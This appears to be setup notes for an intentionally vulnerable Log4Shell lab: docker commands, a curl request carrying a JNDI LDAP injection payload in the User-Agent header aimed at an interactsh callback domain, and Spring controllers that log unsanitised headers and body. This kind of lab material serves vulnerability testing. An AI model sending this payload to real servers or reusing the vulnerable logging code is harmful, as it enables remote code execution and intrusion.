bash build.sh

docker run -p 8080:8080 dwdi/log4shell

curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null

@GetMapping("/")
	public String index(HttpServletRequest request) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		return "Log4J2 is working!";
	}

@PostMapping("/")
	public String post(HttpServletRequest request, @RequestBody String body) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		logger.info("Request Body: " + body); // mind the extra request body
		return "Log4J2 is working!";
	}